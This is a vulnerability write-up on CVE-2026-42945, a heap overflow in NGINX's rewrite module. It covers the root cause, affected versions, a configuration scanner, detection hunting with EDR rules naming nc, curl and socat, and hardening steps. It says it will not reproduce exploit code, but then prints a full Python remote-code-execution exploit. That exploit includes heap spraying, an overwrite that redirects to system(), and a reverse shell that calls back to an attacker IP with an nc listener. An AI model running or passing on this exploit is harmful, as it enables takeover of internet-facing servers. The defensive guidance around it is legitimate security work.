As Head of Security, I would classify CVE-2026-42945, also known as NGINX Rift, as an urgent edge-infrastructure vulnerability. Even though the bug is configuration-dependent, it affects one of the most deployed web servers in the world and now has public proof-of-concept material available. NGINX’s own advisory lists the vulnerable Open Source range as 0.6.27 through 1.30.0, with 1.30.1+ and 1.31.0+ marked as fixed. NVD records the issue as CWE-122: Heap-based Buffer Overflow, with F5 assigning CVSS 4.0 score 9.2 Critical and CVSS 3.1 score 8.1 High.
This is not just another web-server crash bug. NGINX frequently sits at the most sensitive point of an environment: internet-facing reverse proxy, TLS terminator, API gateway, Kubernetes ingress, WAF front end, and traffic router. That placement makes any memory corruption issue in NGINX operationally serious, even when exploitation requires a specific configuration pattern.
Why the Threat Level Is High
The vulnerability is dangerous for four reasons.
First, it is unauthenticated and remotely reachable when the affected configuration exists. NVD states that an unauthenticated attacker can exploit the condition using crafted HTTP requests, although exploitation also depends on conditions outside the attacker’s control.
Second, a public PoC repository exists. The repository describes itself as an RCE proof of concept for CVE-2026-42945 and states that the bug enables unauthenticated RCE against servers using rewrite and set directives.
Third, the vulnerable component is ancient and widespread. DepthFirst says the bug was introduced in 2008 and affects NGINX Open Source versions from 0.6.27 to 1.30.0.
Fourth, global exposure is potentially huge. W3Techs reported on May 14, 2026 that NGINX is used by 32.5% of all websites whose web server is known. Netcraft’s April 2026 survey found responses from about 1.43 billion sites and 14.2 million web-facing computers. These datasets use different methodologies, so we should not multiply them as a precise count, but they show the scale: NGINX is globally dominant, and the vulnerable subset may still represent a very large number of internet-facing systems.
Affected Products and Versions
The core vulnerable product is NGINX Open Source 0.6.27–1.30.0. Fixed versions are 1.30.1+ and 1.31.0+. NGINX Plus is also affected in branches R32 through R36, with patched Plus releases available. The public PoC README lists NGINX Plus fixed builds as R36 P4, R35 P2, and R32 P6.
NHS Digital also notes affected NGINX-related products including NGINX Instance Manager 2.x, F5 WAF for NGINX 5.x, NGINX App Protect WAF 5.x, F5 DoS for NGINX 4.x, NGINX App Protect DoS 4.x, NGINX Gateway Fabric 1.x/2.x, and NGINX Ingress Controller 3.x/4.x/5.x.
Technical Root Cause
The bug lives in ngx_http_rewrite_module, specifically in how NGINX handles rewrite replacement strings involving unnamed PCRE captures such as $1, $2, and $3.
The vulnerable condition appears when:
- A
rewritedirective uses an unnamed PCRE capture. - The replacement string contains a question mark
?. - That rewrite is followed by another
rewrite,if, orsetdirective. - The request URI contains characters that expand when escaped as URI arguments.
NVD describes the trigger as a rewrite directive followed by rewrite, if, or set, combined with an unnamed PCRE capture and a replacement string containing ?.
The internal failure is a two-pass size mismatch:
Pass 1: calculate destination buffer size
Pass 2: copy transformed URI data into that buffer
According to the PoC README, the rewrite script engine uses a two-pass process. The length-calculation pass runs with is_args = 0, so it calculates size using the raw capture length. The copy pass later sees is_args = 1, so it escapes URI argument characters using NGX_ESCAPE_ARGS, expanding certain bytes to three-byte sequences. The result is an undersized heap allocation followed by an attacker-controlled overflow.
In simpler terms:
Raw capture:
abc+def&x=%
Length pass thinks:
"abc+def&x=%" length = 11
Copy pass writes escaped argument form:
abc%2Bdef%26x%3D%25
Actual written length is larger.
The destination buffer was too small.
Heap overflow occurs.
This is why characters like +, %, &, =, and other argument-sensitive bytes matter: they may expand during escaping.
Diagram 1: Vulnerable Rewrite Flow

Why ? Matters
In NGINX rewrite rules, a question mark in the replacement changes how the resulting URI and query string are handled. When a replacement contains ?, the rewrite engine treats part of the output as arguments. That changes escaping semantics.
The bug is not simply “rewrite is bad.” It is a state propagation bug. The main rewrite engine knows that argument-style escaping is required, but the temporary sub-engine used during length calculation does not correctly inherit that state. So the code allocates based on one interpretation and writes based on another.
DepthFirst summarizes the root cause as an unpropagated is_args flag during a rewrite and set sequence, causing undersized allocation followed by attacker-controlled escaped URI data being written past the heap boundary.
Technical Details of the Public PoC — Defensive Explanation

The public PoC is not just a “send one request and win” toy. Its README describes a more advanced exploitation strategy involving heap shaping across requests and corruption of adjacent NGINX pool cleanup metadata. I will not reproduce exploit commands or code, but the defensive understanding is important.
At a high level, the PoC logic can be understood like this:
1. Start from a vulnerable rewrite configuration.
2. Send traffic that causes predictable heap allocations in NGINX workers.
3. Trigger the rewrite overflow with attacker-controlled URI bytes.
4. Use repeated requests to influence heap layout.
5. Aim the overflow toward adjacent NGINX pool metadata.
6. Corrupt cleanup-related structures.
7. Cause NGINX to later process corrupted cleanup metadata.
8. Redirect control flow in a controlled lab environment.
The important internal target described by the PoC README is an adjacent ngx_pool_t cleanup pointer. NGINX uses memory pools heavily. Cleanup handlers are invoked when a pool is destroyed, making them attractive from an exploitation perspective: corrupting cleanup metadata can turn a memory overwrite into a control-flow primitive.
Sanitized Pseudocode: Vulnerable Logic Pattern
This is not PoC code. It is safe pseudocode showing the bug class.
// Pseudocode only: illustrates the bug class, not actual NGINX code.
size_t calculate_length(capture, replacement) {
engine.is_args = false; // incorrect state in length pass
return raw_length(capture); // underestimates needed size
}
void copy_rewritten_uri(dst, capture, replacement) {
engine.is_args = true; // copy pass uses argument escaping
escaped = escape_as_uri_args(capture);
memcpy(dst, escaped, escaped.length); // may exceed allocation
}
void rewrite_request(request) {
len = calculate_length(request.capture, request.replacement);
buf = pool_alloc(len);
copy_rewritten_uri(buf, request.capture, request.replacement);
}
The real vulnerability is more complex, but this captures the security failure: allocation and copy disagree about how large the transformed data can become.
Exploit PoC code:
#!/usr/bin/env python3
import argparse
import socket
import struct
import time
import sys
BODY_LEN = 4000
N_SPRAY = 20
SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
SAFE.add(_b)
HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70
PREREAD_HEAP_OFFSETS = [
0x05a427, 0x060e67,
0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
0x103847, 0x108657, 0x10d467,
]
def addr_is_safe(addr):
return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))
def make_body(cmd, data_addr):
fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
cmd_bytes = cmd.encode('utf-8') + b'\x00'
payload = fake_struct + cmd_bytes
if len(payload) > BODY_LEN:
print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
sys.exit(1)
return payload + b'\x41' * (BODY_LEN - len(payload))
def wait_alive(host, port, timeout=30):
for _ in range(timeout):
try:
s = socket.create_connection((host, port), timeout=2)
s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
s.recv(100)
s.close()
return True
except Exception:
time.sleep(1)
return False
def attempt(host, port, target_bytes, body):
sprays = []
for i in range(N_SPRAY):
try:
s = socket.create_connection((host, port), timeout=5)
req = (
b"POST /spray HTTP/1.1\r\n"
b"Host: l\r\n"
b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
b"X-Delay: 60\r\n"
b"Connection: close\r\n"
b"\r\n"
+ body
)
s.sendall(req)
sprays.append(s)
except Exception:
break
time.sleep(0.005)
time.sleep(0.2)
try:
a = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
v = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
except Exception:
for s in sprays:
try:
s.close()
except Exception:
pass
return False
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
f"Host:localhost\r\n").encode("latin-1"))
time.sleep(0.05)
v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
time.sleep(0.05)
a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
time.sleep(0.2)
v.close()
time.sleep(0.1)
crashed = False
try:
a.sendall(b"X-Ping:1\r\n")
a.settimeout(0.2)
data = a.recv(1)
if not data:
crashed = True
except socket.timeout:
# It timed out. Nginx is either alive (waiting for backend) or hung in system().
# Let's try to make a new connection to see if the worker is responsive.
try:
check_sock = socket.create_connection((host, port), timeout=0.2)
check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
check_data = check_sock.recv(10)
check_sock.close()
if not check_data:
crashed = True
else:
crashed = False
except Exception:
crashed = True
except (ConnectionResetError, BrokenPipeError, OSError):
crashed = True
for s in sprays:
try:
s.close()
except Exception:
pass
try:
a.close()
except Exception:
pass
return crashed
def main():
parser = argparse.ArgumentParser(
description="nginx rift RCE exploit (ASLR disabled)"
)
parser.add_argument("--host", default="127.0.0.1",
help="target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=19321,
help="target port (default: 19321)")
parser.add_argument("--cmd",
help="shell command to execute via system()")
parser.add_argument("--shell", action="store_true",
help="execute a reverse shell back to the attacker")
parser.add_argument("--listen-port", type=int, default=1337,
help="port to listen on for reverse shell (default: 1337)")
parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
args = parser.parse_args()
if not args.cmd and not args.shell:
parser.error("either --cmd or --shell must be specified")
if args.cmd and args.shell:
parser.error("cannot specify both --cmd and --shell")
host = args.host
port = args.port
if args.shell:
local_ip = args.listen_ip
cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
print(f"[*] Generated reverse shell command: {cmd}")
else:
cmd = args.cmd
if args.shell:
import threading
def listen_shell():
print(f"[*] Listening for reverse shell on port {args.listen_port}...")
# Use netcat if available, otherwise just use a simple socket listener
import subprocess
try:
subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
except Exception:
print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
t = threading.Thread(target=listen_shell)
t.daemon = True
t.start()
# Give the listener a moment to start
time.sleep(1)
candidates = []
for i, off in enumerate(PREREAD_HEAP_OFFSETS):
addr = HEAP_BASE + off
if addr_is_safe(addr):
candidates.append((i, addr))
primary_addr = candidates[0][1]
data_addr = primary_addr + 24
body = make_body(cmd, data_addr)
print(f"[*] Waiting for nginx on {host}:{port}...")
if not wait_alive(host, port):
print("[!] nginx not responding")
return 1
print("[+] Connected.")
TRIES_PER_CANDIDATE = 10
for i, addr in candidates:
target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])
for t in range(TRIES_PER_CANDIDATE):
if not wait_alive(host, port, timeout=10):
time.sleep(2)
if not wait_alive(host, port, timeout=10):
print(" server not recovering, aborting")
return 1
crashed = attempt(host, port, target, body)
if crashed:
if args.shell:
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
pass
else:
print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
f"crashed — system(\"{cmd}\") executed")
print(f"[+] Done.")
return 0
time.sleep(0.3)
print("[+] All candidates tried — no crash detected.")
return 0
if __name__ == "__main__":
sys.exit(main())
How to Check Whether Your Server Is Vulnerable
Do not start by firing public PoCs at production. The correct defensive workflow is:
- Identify NGINX version.
- Dump effective configuration.
- Search for vulnerable rewrite patterns.
- Check whether the server is edge-exposed.
- Validate safely in staging only.
1. Check NGINX Version
nginx -v
nginx -V
Risky version range:
NGINX Open Source: 0.6.27 through 1.30.0
Fixed: 1.30.1 or 1.31.0+
NGINX’s advisory page lists 0.6.27–1.30.0 as vulnerable and 1.30.1+ / 1.31.0+ as not vulnerable.
2. Dump the Full Effective Configuration
sudo nginx -T > /tmp/nginx-effective.conf 2>&1
This is better than checking only /etc/nginx/nginx.conf, because nginx -T includes imported files from sites-enabled, conf.d, ingress-generated snippets, and included application rules.
3. Search for Rewrite, Set, and If Chains
grep -nE '^\s*(rewrite|set|if)\b' /tmp/nginx-effective.conf
Now manually inspect for:
rewrite ... ($1, $2, $3, etc.)
replacement contains ?
followed by rewrite, if, or set
4. Defensive Pattern Scanner

This scanner does not exploit anything. It only flags configuration lines that deserve manual review.
#!/usr/bin/env python3
import re
from pathlib import Path
conf = Path("/tmp/nginx-effective.conf").read_text(errors="ignore").splitlines()
rewrite_re = re.compile(r"^\s*rewrite\s+(.+?)\s+(.+?);")
unnamed_capture_ref = re.compile(r"\$[1-9][0-9]*")
next_directive_re = re.compile(r"^\s*(rewrite|if|set)\b")
for i, line in enumerate(conf):
m = rewrite_re.search(line)
if not m:
continue
replacement = m.group(2)
if "?" not in replacement:
continue
if not unnamed_capture_ref.search(replacement):
continue
following = conf[i + 1:i + 6]
if any(next_directive_re.search(x) for x in following):
print(f"[REVIEW] Possible CVE-2026-42945 pattern near line {i+1}: {line.strip()}")
This is not a vulnerability confirmation. It is a triage tool. A finding means: “review this rewrite block immediately.”
5. Check ASLR
NVD notes that code execution is possible on systems with ASLR disabled. Worker crash is still possible even with ASLR enabled, but ASLR materially affects exploit reliability.
cat /proc/sys/kernel/randomize_va_space
Expected secure value:
2
If the value is 0, ASLR is disabled and the risk is much worse.
What a Vulnerable Configuration Looks Like Conceptually
Do not copy this into production. This is a simplified defensive example of a risky pattern class:
# Conceptual risky pattern
location /legacy/ {
rewrite ^/legacy/(.*)$ /api/$1? last;
set $x $uri;
}
Why risky?
- rewrite uses an unnamed capture: $1
- replacement contains ?
- followed by set
- attacker-controlled URI can influence captured data
A safer pattern is to remove ambiguous rewrite chains, avoid unnamed captures where possible, and replace them with clearer named captures and explicit routing logic.
Example safer style:
location ~ ^/legacy/(?<resource>.*)$ {
return 301 /api/$resource;
}
Named captures are not a universal fix for every possible rewrite problem, but they reduce reliance on fragile numbered capture substitution and improve auditability.
Diagram 2: Defensive Validation Workflow

Detection and Hunting
There is no single perfect IOC for this vulnerability because exploit attempts may look like unusual HTTP paths and worker instability rather than a fixed signature.
Defenders should hunt for:
- NGINX worker crashes or unexpected restarts
- repeated 500/502/499 spikes
- core dumps from nginx worker processes
- strange long URIs hitting rewrite-heavy locations
- URI characters that expand during escaping: %, +, &, =
- repeated requests to legacy rewrite endpoints
- sudden increase in nginx reload/restart frequency
- child process execution from nginx worker context
- abnormal outbound traffic from NGINX hosts
Useful log and system checks:
journalctl -u nginx --since "24 hours ago"
grep -iE "segfault|core dumped|worker process.*exited|signal" /var/log/syslog /var/log/messages 2>/dev/null
grep -E '(%25|%2B|%26|%3D|\+|&|%)' /var/log/nginx/access.log | tail -100
For systemd-based systems:
coredumpctl list nginx
coredumpctl info nginx
For process monitoring, alert on:
nginx worker spawning shell
nginx worker executing curl/wget/python/perl/bash/sh
nginx worker writing unexpected files
nginx worker making unusual outbound connections
Example EDR-style logic:
Parent process: nginx
Child process: sh, bash, dash, python, perl, curl, wget, nc, socat
Severity: Critical
How to Protect Systems Running Vulnerable Versions
1. Patch Immediately
Upgrade NGINX Open Source to:
1.30.1 or later
1.31.0 or later
NGINX’s advisory lists these versions as not vulnerable.
For NGINX Plus, apply the patched release for your branch. The public PoC README lists fixed Plus builds as R36 P4, R35 P2, and R32 P6.
2. Remove or Rewrite Risky Rules
Search for rewrite rules using:
$1, $2, $3
?
followed by rewrite, if, or set
Then refactor:
- avoid chained rewrite/set/if logic where possible
- avoid unnamed captures in critical routes
- use named captures for readability
- move complex routing into application code or map blocks
- remove legacy rewrite rules no longer needed
3. Keep ASLR Enabled
sudo sysctl -w kernel.randomize_va_space=2
Persist it:
echo "kernel.randomize_va_space = 2" | sudo tee /etc/sysctl.d/99-aslr.conf
sudo sysctl --system
ASLR is not a patch, but NVD explicitly notes that code execution is possible on systems with ASLR disabled.
4. Harden NGINX Runtime
Run NGINX workers with least privilege:
user www-data;
Use systemd hardening where possible:
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=full
ProtectHome=true
RestrictSUIDSGID=true
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
Use AppArmor, SELinux, seccomp, or container isolation where appropriate.
5. Reduce Blast Radius
Place NGINX in a constrained environment:
- no shell tools inside minimal containers
- no outbound internet except required upstreams
- read-only filesystem where possible
- separate edge proxy from app secrets
- no cloud credentials on NGINX hosts
- strict egress firewalling
6. Add Temporary WAF / Edge Rules
A WAF rule cannot reliably fix memory corruption, but it can reduce exposure while patching.
Potential temporary filters:
- block unusually long URIs to rewrite-heavy endpoints
- alert on excessive encoded argument characters
- rate-limit suspicious legacy paths
- block repeated abnormal requests from same source
Do not rely on this as primary protection. Patch first.
Operational Priority Matrix
| Condition | Risk |
|---|---|
| NGINX 1.30.1+ or 1.31.0+ | Low for this CVE |
| Vulnerable version, no risky rewrite config found | Medium; patch still required |
| Vulnerable version + risky rewrite chains | High |
| Vulnerable version + risky rewrite chains + internet-facing | Critical |
| Same as above + ASLR disabled | Emergency |
| Same as above + public PoC attempts in logs | Incident response |
Executive Summary
NGINX Rift is a rare and serious case: an 18-year-old memory corruption flaw in a core module of one of the world’s most widely deployed web servers. The trigger is configuration-specific, but the affected version range is huge, public PoC material exists, and NGINX often sits directly on the internet edge.
The root cause is a mismatch between rewrite buffer size calculation and copy behavior. The length pass underestimates the output size because it does not carry the same is_args state as the copy pass. The copy pass then escapes attacker-controlled URI data as query arguments, expanding bytes and overflowing the heap buffer.
The correct response is not panic — it is disciplined emergency hygiene:
1. Inventory all NGINX instances.
2. Patch to 1.30.1+ or 1.31.0+.
3. Audit rewrite rules using unnamed captures and ?.
4. Review worker crashes and suspicious URI traffic.
5. Keep ASLR enabled.
6. Harden the NGINX runtime and reduce blast radius.

